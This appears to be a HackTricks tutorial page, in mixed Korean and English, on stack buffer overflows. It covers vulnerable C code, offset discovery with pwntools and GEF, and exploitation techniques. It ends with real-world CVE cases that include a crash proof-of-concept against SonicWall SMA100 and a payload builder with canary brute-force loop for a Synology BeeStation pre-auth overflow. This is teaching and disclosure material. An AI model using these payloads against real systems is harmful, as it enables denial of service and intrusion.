Stack Overflow

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

Stack Overflow란 무엇인가

A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.

스택 오버플로우(stack overflow)는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이 초과된 데이터는 인접한 메모리 영역을 덮어써서 유효한 데이터 손상, 제어 흐름 장애, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 자주 발생합니다.

The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.

이 덮어쓰기의 주요 문제는 이전 함수로 돌아가기 위한 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 베이스 포인터 (EBP/RBP)**가 스택에 저장되어 있다는 점입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 제어할 수 있게 됩니다.

The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.

이 취약점은 보통 함수가 스택에 할당된 것보다 더 많은 바이트를 복사함으로써 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있습니다.

Some common functions vulnerable to this are: strcpy, strcat, sprintf, gets… Also, functions like fgets , read & memcpy that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.

이 취약점에 취약한 일반적인 함수로는 strcpy, strcat, sprintf, gets 등이 있습니다… 또한 fgets, read 및 **memcpy**와 같이 길이 인자를 받는 함수들도 지정된 길이가 할당된 것보다 크면 취약하게 사용될 수 있습니다.

For example, the following functions could be vulnerable:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows offsets 찾기

stack overflows을 찾는 가장 일반적인 방법은 As(예: python3 -c 'print("A"*1000)')처럼 아주 큰 입력을 주고 Segmentation Fault가 발생하는 것을 확인하는 것이다. 이는 address 0x41414141 was tried to be accessed를 나타낸다.

또한, Stack Overflow 취약점이 발견되면 overwrite the return address가 가능해질 때까지의 offset을 찾아야 한다. 이를 위해 보통 **De Bruijn sequence.**를 사용한다. 주어진 알파벳의 크기 _k_와 부분수열 길이 _n_에 대해, 이것은 길이 _n_의 모든 가능한 부분수열이 연속 부분수열로 정확히 한 번씩 나타나는 cyclic sequence in which every possible subsequence of length n appears exactly once이다.

이렇게 하면 EIP를 수동으로 제어하기 위해 어떤 offset이 필요한지 알아낼 필요 없이, 패딩으로 이런 시퀀스 중 하나를 사용하고 그것을 덮어쓴 바이트들의 offset을 찾을 수 있다.

It’s possible to use pwntools for this:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

또는 GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내부의 지역 변수 값을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 덮어쓸 수 있습니다.
이 유형의 취약점을 악용하는 가장 일반적인 방법은 반환 주소를 수정하는 것으로, 함수가 종료될 때 이 포인터에 사용자가 지정한 위치로 제어 흐름이 리디렉션되도록 하는 것입니다.

그러나 다른 상황에서는 단순히 스택의 일부 변수 값을 덮어쓰는 것만으로도 익스플로잇이 가능한 경우가 있습니다(예: 쉬운 CTF 문제).

Ret2win

이 종류의 CTF 챌린지에서는 바이너리 내부에 절대 호출되지 않는 함수가 존재하며, 승리하기 위해 이 함수를 호출해야 하는 경우가 있습니다. 이러한 챌린지에서는 반환 주소를 덮어쓸 오프셋을 찾고 호출할 함수의 주소를 찾기만 하면 됩니다(보통 ASLR은 비활성화되어 있음). 그래서 취약한 함수가 반환할 때 숨겨진 함수가 호출됩니다:

Ret2win

Stack Shellcode

이 시나리오에서는 공격자가 스택에 shellcode를 배치하고 제어되는 EIP/RIP를 이용해 shellcode로 점프하여 임의의 코드를 실행할 수 있습니다:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows에서는 오버플로우가 저장된 반환 주소 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잇은 일반적으로 SEH 포인터를 POP POP RET 가젯으로 교체하고 4바이트 nSEH 필드를 사용해 shellcode가 있는 큰 버퍼로 다시 피벗하는 짧은 점프를 넣습니다. 흔한 패턴은 nSEH에 있는 짧은 jmp가 nSEH 바로 앞에 놓인 5-byte near jmp로 착지하여 페이로드 시작점으로 수백 바이트를 점프하는 것입니다.

Windows Seh Overflow

ROP & Ret2… techniques

이 기법은 앞서의 기법에 적용되는 주요 보호 장치인 **No executable stack (NX)**를 우회하기 위한 기본 프레임워크입니다. 또한 바이너리 내 기존 명령들을 악용해 임의 명령을 실행하도록 하는 여러 다른 기법(ret2lib, ret2syscall…)을 수행할 수 있게 합니다:

ROP & JOP

Heap Overflows

오버플로우가 항상 스택에서만 발생하는 것은 아니며, 예를 들어 heap에서도 발생할 수 있습니다:

Heap Overflow

Types of protections

취약점의 악용을 막기 위해 여러 보호 기법들이 존재합니다. 자세한 내용은 다음을 확인하세요:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

sscanf를 신뢰해서는 안 되는 이유를 잘 보여주는 사례가 2025년에 SonicWall의 SMA100 SSL-VPN 장치에서 발견되었습니다. /usr/src/EasyAccess/bin/httpd 내부의 취약한 루틴은 /__api__/로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);

1. 첫 번째 변환 (%2s)은 version에 두 바이트를 안전하게 저장합니다 (예: "v1").
2. 두 번째 변환 (%s)는 길이 지정자가 없습니다, 따라서 sscanf는 첫 번째 NUL byte가 나올 때까지 계속 복사합니다.
3. endpoint가 stack에 위치하고 0x800 bytes long이기 때문에, 길이가 0x800 bytes를 초과하는 path를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ 여기에는 stack canary와 saved return address도 포함됩니다.

한 줄의 proof-of-concept만으로도 인증 전에 크래시를 유발하기에 충분합니다:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

stack canaries가 프로세스를 중단시키더라도, 공격자는 여전히 Denial-of-Service 프리미티브를 얻을 수 있다(그리고 추가적인 정보 leaks가 있으면 code-execution도 가능할 수 있다).

실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 접근 가능한 여러 stack-based overflows가 존재했다. 취약한 패턴은 http_server.cc와 sagemaker_server.cc에 반복적으로 나타났다:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}

1. evbuffer_peek (libevent) returns the 현재 HTTP 요청 본문을 구성하는 내부 버퍼 세그먼트의 수.
2. 각 세그먼트는 alloca()를 통해 stack에 16-byte evbuffer_iovec가 할당된다 – 상한 없이.
3. **HTTP chunked transfer-encoding**를 악용하면 클라이언트는 요청을 6-byte짜리 청크 수십만 개 ("1\r\nA\r\n")로 분할하도록 강제할 수 있다. 이로 인해 n이 스택이 소진될 때까지 무한히 증가한다.

개념 증명(DoS)

</details>
약 ~3 MB 요청이면 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash** 시키기 충분합니다.

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’s Pwn2Own 2025 chain은 포트 5000의 `SYNO.BEE.AdminCenter.Auth`에서 pre-auth overflow를 악용했습니다. `AuthManagerImpl::ParseAuthInfo`는 공격자 입력을 Base64-디코딩하여 4096바이트 스택 버퍼에 저장하지만 `decoded_len = auth_info->len`로 잘못 설정합니다. CGI 워커가 요청마다 fork되기 때문에 각 자식은 부모의 stack canary를 상속받아, 하나의 안정적인 overflow primitive만으로도 스택을 손상시키고 필요한 모든 비밀을 leak하기에 충분합니다.

#### Base64-decoded JSON as a structured overflow
디코딩된 블롭은 유효한 JSON이어야 하며 `"state"` 및 `"code"` 키를 포함해야 합니다. 그렇지 않으면 파서는 overflow가 유용하기 전에 오류를 발생시킵니다. Synacktiv은 JSON으로 디코딩되는 페이로드, 그 다음 NUL 바이트, 그리고 overflow 스트림을 Base64로 인코딩하는 방식으로 이 문제를 해결했습니다. `strlen(decoded)`는 NUL에서 멈추므로 파싱은 성공하지만 `SLIBCBase64Decode`는 이미 JSON 객체를 지나 스택을 덮어써 canary, saved RBP, 그리고 return address를 덮었습니다.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")